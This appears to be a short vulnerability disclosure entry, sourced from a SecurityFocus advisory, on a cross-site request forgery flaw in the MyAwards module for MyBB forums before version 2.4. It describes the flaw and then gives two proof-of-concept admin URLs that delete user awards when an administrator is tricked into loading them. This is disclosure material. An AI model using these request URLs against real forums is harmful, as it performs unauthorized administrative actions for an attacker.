10 lines
No EOL
509 B
Text
10 lines
No EOL
509 B
Text
source: https://www.securityfocus.com/bid/69386/info
|
|
|
|
MyAwards module for MyBB is prone to a cross-site request-forgery vulnerability.
|
|
|
|
An attacker may exploit this issue to perform certain unauthorized actions. This may lead to further attacks.
|
|
|
|
Versions prior to MyAwards 2.4 are vulnerable.
|
|
|
|
https://www.example.com/forum/admin/index.php?module=user-awards&action=awards_delete_user&id=1&awid=1&awuid=2
|
|
https://www.example.com/forum/admin/index.php?module=user-awards&action=awards_delete_user&id=1&awuid=1 |